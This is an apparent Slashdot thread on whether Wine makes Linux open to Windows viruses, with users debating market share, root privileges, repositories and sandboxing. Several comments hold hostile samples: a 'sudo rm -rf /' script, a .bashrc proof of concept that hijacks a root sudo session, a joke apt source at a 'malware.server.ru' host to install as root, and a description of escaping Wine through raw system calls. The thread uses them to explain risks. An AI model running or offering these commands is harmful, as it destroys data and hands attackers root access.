Now Linux Can Get Viruses, Via Wine

fsufitch writes "Wine has advanced enough to make Linux not immune to Windows viruses. However, just like many Wine applications, it takes a bit of effort to get the program off the ground. Also, just like some Windows programs running via Wine, not all features may work — in this case, the crippling of the system, immunity to the task manager, identity theft, etc."

Comments

marketshare

[sopssa]

Haven't it always been pretty clear that Wine could run Windows viruses, as long as they don't use some weird low-level tricks (which admittedly many do)?

But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

As long as the OS isn't completely locked down from the user, there will be malware. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.

It's just about the marketshare.

Re:marketshare

[MadFarmAnimalz]

Haven't it always been pretty clear that Wine could run Microsoft Office, as long as they don't use some weird low-level tricks (which admittedly it does)?

But for that matter, Linux doesn't have MS Office only because it's desktop share is next to nothing (not the same amount atleast, there are Linux office suites out too). Mac OSX has been getting more and more office suites lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

As long as the OS isn't completely locked down from the user, there will be office suites. Windows, Mac, or Linux cant defend you from that. But none of us really want a locked down OS. And as long as the users are stupid their computers will get infected.

It's just about the marketshare.

FTFY

Re:marketshare

[sakdoctor]

But none of us really want a locked down OS

WTF?
Microsoft totally fucked up the principle of least privilege from day one. If they hadn't, the damage done by viruses/worms in the history of personal computing, would have been an order of magnitude less.

Re:marketshare

[wizardforce]

So what you're saying is that Linux should be just riddled with various types of malware in the server market because it is both the dominant player in that market and is a significant target considering the server market's importance. Reality seems to disagree with you.

Re:marketshare

[Anonymous Coward]

To be fair, there's a significant effort to install backdoors/trojans on poorly configured linux machines, but the issue is that they're a much more difficult target as servers do not browse websites with IE nor do they open every attachment you send them via email.

What makes most machines insecure is the users, and since a server normally has only 1 very tech-saavy user, the only openings are in poorly configured services. I know that I had phpbb for a long time, and one day I put in a game playing mod (had some goofy things like achievements and little trophies), and I got hacked via a google search.

Fortunately the guy who installed it didn't finish off his attack by clearing his own history, and the server wasn't running as root, so he only got as far as screwing with the main page.

To say that the server market isn't continually targeted is disingenuous. It's just harder because it isn't operated by a ton of idiots (well, most of the time anyway).

Re:marketshare

[0100010001010011]

A link to all those hundreds of OS X viruses that are coming out?

Re:marketshare

[wintersdark]

Thinking that you're safe running OSX is very foolish. It IS more secure than Windows, but it can get viruses too. As OSX increases in market share, you will find more viruses appearing for it too. It'll take a little longer to get started - Everyone got great Intro Virus Production 101 classes in grossly insecure older versions of Windows, after all. OS X is indeed a more secure operating system, but it is not an invincible one. Assuming you are and will always be safe because you're running it is a very bad idea.

Re:marketshare

[bhtooefr]

The problem is, for a home computer, you are your own sysadmin.

And then the dancing bunnies problem comes into play.

User: "Oooh, I can download this to see dancing bunnies." *downloads and executes malware*
Malware: *tries to install*
OS: "Malware needs root access to install. Please enter your root password." (Windows version of this would be "Cancel or Allow.")
User: *enters root password*
Malware: *infects system*
OS: *pwned*
User: *pwned*

Re:marketshare

[zmollusc]

If I was teh evil malwares writer, I would target OSX as its users have piles of cash. The trick would be to make your pop-up so beautifully coloured, shaded, animated and raytraced that the style-obsessed mac user would fill in his credit card details immediately.

Re:marketshare

[shentino]

Windows, however, is bigger overall.

And you don't really need a beefy server in your botnet. A desktop will do just fine.

Re:marketshare

[cenc]

I have been running linux machines for going on 10 years now, including my home, all the computers in my office, dozens of servers with every imaginable piece of software and configuration possible (some secure some insecure) in that time, I as yet to ever find one virus, malware, or evidence that a serious attempt was ever made any progress.

The market share argument just does not cut it. You would think there would be at least one well know case in the wild by now of a linux virus spreading to other linux machines in a sustained and ongoing manner.

The best we have are 'just so' cases. The software, permissions, user, network, and so on had to be just so in order for virus or malware to work. But a general widespread linux virus? Where are they?

Re:marketshare

[lukas84]

Infected copies of Apple's iWork are already floating around.

http://gizmodo.com/5139116/os-x-iwork-trojan-revamped-repackaged-rereleased-in-photoshop

Re:marketshare

[Nerdfest]

Yeah ... but dancing bunnies .... it is a tough call.

Re:marketshare

[dontmakemethink]

Think of it from a the perspective of the imps making the viruses (and no, it's not 'virii'). Pretend you're a spineless asshole that wants to cause as much damage as possible. Do you use widespread tools to make a Windows virus with relative ease and hit the biggest user base, or do you spend much more time finding vulerabilities in better OS's and hit a much smaller user base?

99 times out of 100 it's the former scenario that plays out. Doesn't mean you needn't run anti-virus software on OS X, for example, but you can have much more confidence that nothing will get past it. Running XP doesn't scare me, it's the number of viruses that Avast catches that scares me.

Re:marketshare

[zigmeister]

I mostly agree. However Linux (and Mac) are much more immune to what are strictly viruses. What they are not much more immune to are trojans*, which I think constitute ~80-90% of infected Windows desktops. Here's my theory to dispel the myth of how robust Linux is(when in the hands of a typical user): Write a malware program that is a variant on the dancing bunnies. Put it up for download. User must have dancing bunnies or else. User clicks to download, then selects Open with Package Manager. User enters root password to install then since security signature is missing must enter it again. Malware program now installed.

*I'm aware of least privilege. However with more and more of the total desktop market being in the home, most users will have their root passwords (i.e. not in a corporate environment) and see no difference between entering that and clicking continue on a bunch of UAC prompts. To make matters worse they will be conditioned to "Force install" since a decent amount of apps that are safe that they want don't provide security signatures either. E.G.: World of Goo, Hulu Desktop Client, commercial games if they ever come etc.

Re:marketshare

[Stupendoussteve]

OS X Snow Leopard notices the two trojans which are in the wild.

They didn't do anything extreme, and they were installed by stupid users pirating software, but they do exist.

Re:marketshare

[cheftw]

That looks like Malware. Stuff that people install voluntarily because of social engineering.

I could put:
-
#!/bin/bash
sudo rm -rf /
-

I remember reading that it's better practice to write that

sudo rm / -rf

since putting your switches at the end (especially on rm) makes it easier to catch stupid mistakes (like hitting return early).

Not that in your case it's a huge deal.

Re:marketshare

[TheRaven64]

Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument. If your system doesn't do this, then you should get into the habit of putting -- after the arguments and before the options.

Re:marketshare

[Runaway1956]

"But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing"

I keep hearing that. Everyone says it so it must be true. But, I'm mindful of the fact that only a handful of viruses have EVER been written for Linux, and that the User can't infect the underlying system. It takes Root access to do so, something that is only now beginning to be true for Windows.

It seems that Windows is improving it's security model - but they still haven't caught up with Linux, despite what the fanboys might have to say. Unlike XP, it has always been possible to lock the User down pretty tightly, but still allow User to play any game on the system. More, it has almost always been possible to allow a User to install his games and applications in User Space. That isn't possible with Windows, even with Win 7. When I can create a dozen users, each of whom allows serious infections WITHIN HIS OWN ACCOUNT, but the Admin account remains untouched and unharmed, THEN Windows will be well on the road to having a meaningful security model.

Whatever - I'll believe the basic premise that Linux would be just as vulnerable as Windows if it had market share when I see it. To me, it seems the structure and the philosophy of Linux contradicts what common "wisdom" says.

Re:marketshare

[Bert64]

The idea of multiuser is to protect one user from another... You wouldn't be able to keylog other users at least, and sending spam is something that identd on unix was supposed to deal with, tho the prevalence of single user systems has rendered ident pretty much totally worthless.

Also, nonroot malware is much easier to remove, especially on unix, because there are only a very limited number of places it can hide on the filesystem, it can't do neat tricks like mark areas of the disk corrupt and hide there, it can't hide in system directories amongst the thousands of other files already there, it cant modify the kernel to hide itself... It will show up in the process list when running, whereas with admin privileges it can easily hide itself to the point that you need to boot from clean media.

Re:marketshare

[evilviper]

As long as the OS isn't completely locked down from the user, there will be malware.

If you operate as a non-privileged user, and there aren't gaping local root exploits, malware is pretty damn toothless.

Sure, it could still send out some e-mails, record your keystrokes, etc., but it will show up in `ps` just like any other process, and it will have to launch itself from a few standard few locations available, where it will be easy to find, and stop from running.

So, yes, Linux could have malware, but it would be the minor nuisance type, rather than the "everyone's infected, it's impossible to remove, and the internet is being brought to its knees" type.

Additionally, the problem with Linux viruses is that people get their software from a central repository, with cryptographic checksums and the like. The world would be very different if Windows users got all their software through WindowsUpdate, instead of constantly downloading crap from random websites.

Re:marketshare

[1s44c]

But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing.

There are more than enough unix and linux machines on the net to make them a viable target yet these machines don't seem have the same problems. They do get cracked but normally due to bad PHP code or people setting guessable passwords.

Windows doesn't get viruses because lots of people use it, it gets viruses because it has a thrown together design and it's poorly implemented.

Re:marketshare

[MichaelSmith]

My wife runs ubuntu on her laptop. He is away in Malaysia at the moment taking care of family business and she needed to get online. So she goes to this internet cafe and they give her a CAT5 cable which she plugs in. I have set her up with a VPN so comms are secure. She thinks something is wrong so she asks for help. The internet cafe people start stuffing around with network interfaces and she types her password in for them. So now all I know is that she gave these people root access when she had no idea what was going on.

She is a non-technical person and she will do the stupidest things, regardless of the OS she runs.

Re:marketshare

[RocketRabbit]

You ought to read up on cloaked rootkits.

Interesting stuff there.

Re:marketshare

[Zancarius]

Except on BSD systems, which only accept arguments before other arguments. This prevents someone from putting a file called -rf in a directory, so when you run rm * the -rf won't be expanded and treated as an argument.

Which BSD?

FreeBSD:

[vbox:example]$ ls -l
total 0
[vbox:example]$ touch -- file1 file2 file3 file4 -rf
[vbox:example]$ mkdir dir
[vbox:example]$ ls -l
total 2
-rw-r--r-- 1 test test 0 Oct 24 16:16 -rf
drwxr-xr-x 2 test test 512 Oct 24 16:16 dir
-rw-r--r-- 1 test test 0 Oct 24 16:16 file1
-rw-r--r-- 1 test test 0 Oct 24 16:16 file2
-rw-r--r-- 1 test test 0 Oct 24 16:16 file3
-rw-r--r-- 1 test test 0 Oct 24 16:16 file4
[vbox:example]$ rm *
[vbox:example]$ ls -l
total 0
-rw-r--r-- 1 test test 0 Oct 24 16:16 -rf

I assume you're talking about a specific shell or rm binary--AFAIK, they all exhibit the same behavior in recent releases.

Re:marketshare

[Hucko]

It's just about the marketshare.

It's about the marketshare if you ignore the ratios. Macs are supposed to have ... 5% marketshare? They and the other OS have a much lower ratio of malware per install. Yes, Windows locked down should be just as secure as any other OS... but it is too easy to change its security for convenience sake --- at least up till XP. I haven't administered a network (or even a machine) of Windows Vista and above, so they may be much better for all I know.

Re:marketshare

[BluBrick]

Yeah ... but dancing bunnies .... it is a tough call.

Don't underestimate lusers. There are 8 year old girls who know more about computers than their parents.

Why do you think the malware authors chose dancing bunnies and not strippers? Even 8 year old girls who know more about computers than their parents can do stupid things with the right motivation.

Re:marketshare

[jonadab]

> Then why do linux server not have viruses?

Because if you're writing malware for Linux systems, a virus is not the easiest or most effective way to go. Attaching to system binaries is problematic for a variety of reasons. System binaries can be updated at any time. Changes in their size and signature are easily detectable. Furthermore you have to be root to do it, but you wouldn't install a virus if you're root, because you'd use a rootkit instead in that case. A rootkit is more likely to remain on the system undetected for a longer period of time. There are more reasons, but you get the idea: a virus for Linux doesn't make sense. Some other kind of malware, such as a worm or rootkit, does.

(And if you think Linux servers don't have malware, I have some nice beachfront property in Montana that I can sell you at a great discount.)

Re:marketshare

[fluffy99]

Just having SELinux install and enforcing is useless, unless someone has gone through and written proper policies that define the mandatory-access-control limitations. Policies have been written for many service such as Apache, but there is still a dearth of appropriate policies for user apps.

Re:marketshare

[Valdrax]

Did you actually read the links you provided?

The plural of virus is viruses. In reference to a computer virus, the plural is often believed to be virii or, less commonly, viri, but both forms are neologistic folk etymology and no major dictionary recognizes them as alternative forms.

(emphasis added)

The article then goes on to mention that virus was a mass noun that *had* no plural in Latin and then goes through every single way to pluralize a Latin word ending in -us, showing that -ii is never an appropriate way, and it mentions that as an English adopted word, there would be no obligation to use a Latin conjugation instead of adding -es for an English word.

In other words, "viruses" is the only valid pluralization because it's the only conjugation is can have in the absence of proper Latin pluralization.

Re:marketshare

[donaldm]

But for that matter, Linux doesn't have malware only because it's desktop share is next to nothing (not the same amount atleast, there are Linux viruses out too). Mac OSX has been getting more and more viruses lately as it's marketshare has been growing. So would Linux aswell if it ever gained more users.

I suppose 20 to 60 million Linux desktops world wide is next to nothing and I have two of them, however the main reason why Linux distributions are difficult to write viruses for is because most distributions insist on you working as a normal user and not with elevated privileges like you have with MS Windows distributions. Writing a virus for Linux or Unix for that matter is easy however it requires the user to deliberately run the mall-ware and running it with normal user privileges is next to useless. Ok you stuff up that user but you have not rooted the machine. Another reason why Linux distributions are not popular with mall-ware writers is the fact that Linux users are normally more computer literate and it is much more of a effort and risk targeting Linux since there are many distributions and you do have very smart people who would take it as a challenge to track down the writers of the mall-ware. This is not something the average mall-ware writer wants.

Actually Linux is extremely popular with mall-ware writers since it is an excellent platform to develop mall-ware on. If you were a mall-ware developer why would you want to target Linux when it is so much easier to target MS Windows? As for targeting Mac's. Even though Mac's run a Unix OS the easiest way to compromise a user (Linux is vulnerable here as well) is to use social networking in that the black-hat tries to get personal information from the unsuspecting user by pandering to social worries such as "This is YOUR_BANK, we need to check our customers security. Please send us your financial details and relevant passwords so we can check that your account has not been compromised. Please don't send any details via normal email or registered post, login the the following URL and enter your details". Who would fall for something like that? I don't think that many but you only need 0.001% of the total population of computer users and the scammer has rich pickings.

Re:marketshare

[reashlin]

Surely this is down to the shell not the particular kernel you are using

It's like a what?

[cjfs]

A virus run in Wine is akin to taking a ferocious tiger out of the jungle, paralyzing it, then hooking up all of its nerve endings to virtual jungle simulator. It's not a perfect simulation, though, so the jungle maybe doesn't look right, and plus there's an omnipotent power that can change anything that goes on in the simulation, or even destroy it and the tiger's consciousness with a few twitches of his fingers. Now that's power.

Power that's generated by feeding the dead tigers back to other tigers so we can use their body heat to generate MORE POWER!

On second thought, lets stick to car analogies.

Linux's distribution model helps though

[brunes69]

The way Linux software is distributed, makes it much less likely to get a virus. You know how many applications I have downloaded from random websites in the past 2 years for my Linux system? Maybe, 2. All of the rest are in the centrally managed, (hopefully) certified virus-free application repository, which is free for all.

The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.

Re:Linux's distribution model helps though

[buchner.johannes]

You, and the majority of Linux users are delusional. You think malware is only executables. A glitch in any software package -- e.g. Firefox or OpenOffice -- would be enough to add a bash script to .bashrc (or replace the file). This can download and start all the software it wants, unless you set the /home partition noexec.
Another attack method would be to append a script to the GNOME startup applications.

Consider appending the following script to .bashrc (no one ever looks in there). Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).
#!/bin/bash

MAXAGE=100

while sleep 10; do

        pgrep -f -U 0 -P $PPID,$$ && {
                # echo parent has a root owned child process
                id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)
                # wait $id
                age=$(($(date +%s) - $(stat /proc/$id/ -c '%Y')))
                if [ "$age" -lt "$MAXAGE" ]; then
                        # echo the child is young
                        # evil code here
                        sudo touch /root/you_were_hacked
                        # sudo rm -rf /etc/
                fi
        }
done &

With 10+ scripting languages on the average Linux install, the attacker has plenty of choices. Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions. Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.

Re:Linux's distribution model helps though

[BikeHelmet]

The idea that a Linux user would download random stuff from a torrent or website is a pretty foreign concept. For me, and moth others, if it isn't in the repository, I don't bother - because there is probably something in the repository that suits my needs just as well or better anyway.

Correct - as an educated computer user.

Although there are two scenarios you're forgetting. One is repository/domain hijacking, and the other is something not being available except from an unknown website.

Ex 1: PlayOnLinux (simplifies working with Wine and installing some software - not in the repositories)
Ex 2: BackInTime (Gnome) - website disappeared a few weeks back. Domain name available for purchase.

Anyway, as an educated Windows user, I would check review sites like cnet or betanews(or a download site like filehippo) to see if software is legit or if it's going to pwn me. Then I'd download it - possibly from those central not-really-a-repository locations.

I hope I've drawn the parallel that user education matters a bit more than the specific type of central download location. ;)

Re:Linux's distribution model helps though

[reub2000]

su when invoked by an admin doesn't need the users password. And sudo can be used to run su without ever getting the root password, so he's basically gotten a root shell only using the password associated with his own loggin. Of course, 'sudo -s' is a much simpler way to get a root shell.

Re:Linux's distribution model helps though

[the_womble]

A hijacker would also have to forge signatures.

The other is a problem, but:

1) It tends to be obscure stuff than only slightly geeky users want (i..e. the sort of people who know how to check things)
2) It often comes with some way of checking (e.g. checksums) that you get the real download.
3) A user who has downloaded one app from an untrusted site is much less likely to have downloaded malware than someone who has downloaded fifty.

Just waiting for this e-mail

[fluch]

This is a lonesome linux virus. Please add

deb http://malware.server.ru/debian experimental non-free

to your /etc/apt/sources.list and excecute "apt-get my-first-virus" as root. Thank you very much vor your cooperation.

Re:Just waiting for this e-mail

[sakdoctor]

non-free?

I only install FLOSS malware.

Re:Just waiting for this e-mail

[Anonymous Coward]

Me too, I won't compromise my freedom just to be part of a botnet.

Free alternative: http://www.gnu.org/fun/jokes/evilmalware.html

Re:Just waiting for this e-mail

[ozamosi]

This is a lonesome linux virus. Please add

deb http://malware.server.ru/debian experimental non-free

to your /etc/apt/sources.list and excecute "apt-get my-first-virus" as root. Thank you very much vor your cooperation.

Yeah, I run Fedora...

Linux on a bender

[Anonymous Coward]

What do you expect when Linux gets drunk on Wine and wakes up with Windows it's bound to have caught something.

That's the problem with Wine...

[Interoperable]

I always have to configure the programs so much before they run. It really defeats the purpose of a virus if I have to configure it so much first. Once Linux can run Windows viruses with a one-very-poorly-chosen-click install process I might make the switch. Besides, I can just run my FOSS software under Windows and still have access to all of the proprietary viruses that are only made for windows.

Linux?

[niko9]

Preface: I'm Debian GNU/Linux user of 10 years, but not a professional computer geek. I use GNU/Linux to get work done.

I thought Linux was just a kernel? Should not the headline read "A Linux distribution that has Wine installed *might* be vulnerable to Windows viruses?"

Look to Apple users using VM

[Ilgaz]

If you look deeper to Apple users virtual machines (Sun Virtual Box etc.) , lots of them doesn't bother to install some free AV, a basic one saying "it is virtual anyway". When you talk about how evil things can be done while their virtual machine up and what kind of trouble they may get into if they have bad luck, they install a free AV to Windows.

If you have trouble convincing such people, just use plain logic: It can even run some games let alone a worm/trojan/virus.

It is not in the culture you know...

Experiments

[Aquaseafoam]

I work as a sysadmin at a company making a slow switchover to Linux, and I've experimented with this a bit. You can greatly, greatly limit the damage any virus can cause through wine by unmapping it's Z drive from the wine configuration menu. By default, wine maps / to Z. I can see why they did this, (wine can only run applications within a mapped drive) but it likely needs to be undone across the board. The best alternative would be to create a unhidden wine folder in the user's home directory and map that in wine. If Z is left mapped to /, then a windows virus can run rampant all throughout your system.

Re:Experiments

[TheRaven64]

A virus that is Linux-aware can escape from a WINE sandbox like this very easily. WINE handles Windows library calls, but it can not intercept system calls. If you put a Linux system call number into eax and issue interrupt 80h then you get a Linux system call, irrespective of whether it's a programme running with WINE or a native Linux program. Remember, WINE is not an emulator, it is just a loader and a set of libraries. It doesn't provide any sandboxing. WINE even provides a mechanism for allowing programs to detect if they are running under WINE, so if you can persuade a Linux user to run a program under WINE (or infect another program running under WINE) then you can do anything that the user can do. Unless, of course, you combine WINE with SELinux or some other real sandboxing mechanism.

Re:Experiments

[Kenz0r]

I'm a linux noob, but wouldn't using SELinux eliminate the entire problem?
Only give the files and folders you want Wine to access the corresponding SELinux context and nothing Wine does can hurt the rest of the system.

Re:Experiments

[TheRaven64]

Assuming that the user has access t this, yes. If you call open(), then the WINE loader will fix up the address so that you are calling the WINE open() function, rather than the libc one. On Linux, however, open() is a wrapper around system call 5. If you put 5 in eax, a pointer to the filename in ebx, and the correct flags in ecx and edx, then issue interrupt 80h, then you will open the file. WINE doesn't run with any more privileges than the user (unless you've done something stupid, like set the setuid flag on the root-owned wine binary), so it can't access any files that the user can't access, but it can do anything that the user can. If you write a little assembly function that does this (or just copy it from glibc) and then link it into your Windows binary, then you can call it and get back the file descriptor. You'll also need to copy, at a minimum, wrappers around the read and write system calls.

Note that this kind of sandboxing would be much easier on a microkernel. With something like HURD, open() is serviced by a userspace program that the program communicates with via a Mach port. WINE could trivially run a daemon on such systems and have the loader replace the port reference to the system server with one to this daemon, which could validate things like this to ensure that they remained in the sandbox. Unfortunately, WINE can't use chroot, because it needs to be able to map several different drives. In theory, it could if you only wanted a single C: drive in ~/.wine/drive_c and no other drives (e.g. DVD/network). It might be nice for someone security conscious to create a distribution of WINE that was configured like this for running not-so-trusted Windows programs.

Windows virus needs help to limp onto WINE

[AliasMarlowe]

So WINE can get a virus intended for Windows, if you jump through some hoops to help the virus along. Color me unworried.

What can a Windows-targeted virus in WINE do to a Linux system, other than hang around looking impotent? Most of the target DLLs and other windows hidey-holes don't exist in WINE. Even if it finds a place to lurk, it's unlikely that it could hit the Linux system files or boot loader, or perform keylogging outside WINE or snoop on private files. A very crude "wipe drive C:" type virus might molest your WINE environment (your data files are elsewhere, of course), but that's about all. Even if the virus were specifically tailored for WINE on Linux, a successful attack would rely on user stupidity even more blatant than Windows viruses must depend on.

TFA even commented on how easy it is to dispose of the malware, even after spending some effort helping it to limp onto your system.

Re:Windows virus needs help to limp onto WINE

[Bert64]

The beauty of wine, is that you can configure multiple wine instances which are segregated from each other, so a virus infecting one won't affect another... Also, since wine is a userland program which is only invoked at the user's request, any malware shouldn't be able to make itself load at boot.

Incidentally, small desktop marketshare is not the only reason, windows has traditionally been more susceptible to viruses due to various design decisions which don't apply to linux, various factors like hiding of file extensions, users being admin by default, files being executable purely based on their filename (linux users have to chmod something first), and the basic fact that windows has its origins in a single user gui addon for dos which had no concept of security whatsoever (yes i know nt does, but they grafted the old 9x interface and apis on top, which fundamentally weakened the security model inherent in nt).

Re:Windows virus needs help to limp onto WINE

[Korin43]

His command is actually even more complicated than it needs to be (deleting wine and reinstalling it). rm -rf ~/.wine && wine will delete the wine folder and rebuild it without the added pointlessness of reinstalling the binaries.

Re:Windows virus needs help to limp onto WINE

[hairyfeet]

You want to know why Linux don't get viruses? You don't get the "Velma" users, that's why. I have a customer we have nicknamed the "walking disaster area" because she will click on ANYTHING that pretends to be a screensaver or comes from one of her friends email addresses, I don't care if the antivirus tries to throw itself between her and the .exe. Just as I had a customer that you could send him ANYTHING with the word 'lesbian" in it, and he would do what? yep, he would run it. .Exe, .VBS, you name it, all it had to do was have lesbian somewhere in the title.

So don't worry, you Linux guys get the "Velma" users I'm quite sure your good friends in Nigeria, the RBN, and China will be cooking up "happy_screensaver.sh" and "hot_lesbians_vid.sh" and the clueless will happily run it and spread bugs like the clap. Trust me, as a PC repair guy for more years than I care to count a good 999/1000 Windows bugs can be traced back to PEBKAC.

Re:Windows virus needs help to limp onto WINE

[skiman1979]

Sure, but since we Linux users don't normally run as root, that happy_screensaver.sh will be met with various 'access denied' errors. The script will have to include various privilege elevation exploits in it to affect the system.

Then again, the data that most users care about is their own data, their pictures, videos, documents, not_pr0n folder, things like that. Malware on any system won't have to do anything 'special' to get to that data. So of course we just have to resort to telling users 'don't be stupid' so they don't lose their data.

At least the OS would be relatively safe.

Mac Office was a bigger headache for me

[Savior_on_a_Stick]

Users with Office installed seem to end up documents infected with a macro virus.

While the Macs are themselves unaffected, they pass along the infection to windows boxes.

That's usually the point where they are found and removed, but the general lack of av for Mac (few choices and most lack functionality/accuracy) along with the perception of macs as immune means that av is rarely installed on macs.

When it is, AV_App_X doesn't detect the malware, whereas AV_App_Y detects, but can't clean, and AV_App_Z has no realtime scanning.

not just marketshare

[RiotingPacifist]

Ubuntu 9.10 will start sandboxing desktop programs (starts with xpdf i think), other distros do already/will follow. I think that sandboxing can (and if required will) criple malwares abilities (e.g can't listen on network ports, can't insert itself to bootsequence, can't touch chrome tabs that are connected to https sites) leaving them unable to do most malwarey things without permission and can work like an AV that is designed right (e.g warn users that they are about to do something very stupid, only when they are not everytime they run a 3rd party app/widget, without having to scan binaries)

Re:not just marketshare

[lukas84]

You mean just like Internet Explorer has been doing since the End of 2006?

Re:not just marketshare

[RiotingPacifist]

To an extent yes, (seriously mods, moding funny because you disagree?), however AFAIK IEs implementation is in IE not at system level, so it cannot be applied to anything but IE & plugins. OFC this isn't to say that it can't rigorous sandboxing can't be implemented in windows, just that the tech is already in Linux, it just needs the configuration and UI to move it to the dekstop, IMO this would come if there was demand.

Re:not just marketshare

[coryking]

however AFAIK IEs implementation is in IE not at system level

You would be incorrect. IE uses an OS level service known as Windows Integrity Mechanism. Same mechanism used by UAC or Silverlight.

Malware rise

[gmuslera]

Thousands of Linux systems now are running windows virus. That new improvement in Wine made a lot of Linux users to intentionally install the last wine version and browse dangerous places using IE6 under it to see if they get lucky and get some virus. "I'm excited", said one linux user, "i managed to get 3 different virus, a worm, and you wont believe, my machine is now part of a botnet! Woohoo!".

Strongly misleading headline!

[Hurricane78]

Yeah, it can run viruses, but "not all features may work -- in this case, the crippling of the system, immunity to the task manager, identity theft, etc.".

So in fact, it's not a virus anymore. It's just another program. The very point of being a virus is gone. Because the security settings still hold. (Unless you are retarded enough to run a Wine program as root. But in that case you're just asking for it anyway. ^^)

Re:Strongly misleading headline!

[bendodge]

Actually, Wine refuses to run under sudo. I know this because I used to use Windows data recovery programs (that naturally needed root) in Wine on NTFS drives. It used to work surprisingly well.

Re:Just get hacked, it is easier anyway

[argent]

Linux isn't THAT more secure, it is just less targeted since Windows is 90%+ of the computers.

A properly configured UNIX client system is significantly more secure than any comparable Windows system, even if you don't run a firewall. There are two significant differences: Internet Explorer, and Services.

The security model of IE is inherently flawed and can not be fixed without breaking existing applications. Microsoft is unwilling to take that step.

Windows services are neither run from a superserver nor in virtually all cases do they allow binding to specific ports, and Windows networking (LAN Manager) requires having services with open ports.

These are fairly significant problems that can not be addressed without changes to Windows APIs that are unlikely to happen.

I think Apple is about to learn a real lesson with the iPhone being hacked constantly.

If someone has physical access to the system, all the software security in the world is useless. The iPhone is being attacked by the device's *owners*. These are *local exploits*, much more common and of much less concern than remote ones.

Wrong

[pablomme]

From TFA:

If it managed to infect the Wine registry well enough that it's run automatically, I will have to go into the Wine registry to remove it manually. Or I could run a couple of simple commands:
sudo aptitude purge wine;
sudo aptitude install wine;

Wrong. Wine installs stuff in ~/.wine. The above commands don't touch user directories, so he would end up with a fresh system-wide wine installation but the same malware-ridden user config.

Re:Parallels Virtual Machine

[cheftw]

You presume that it is impossible to break out of a virtualised environment.

A quick google will turn up papers which may diminish your naivety.

Also IMHO the way to go is VirtualBox (FOSS and made by Soracle).

sWine Flue

[jdc18]

lets call it swine flue. Oh wait the name is taken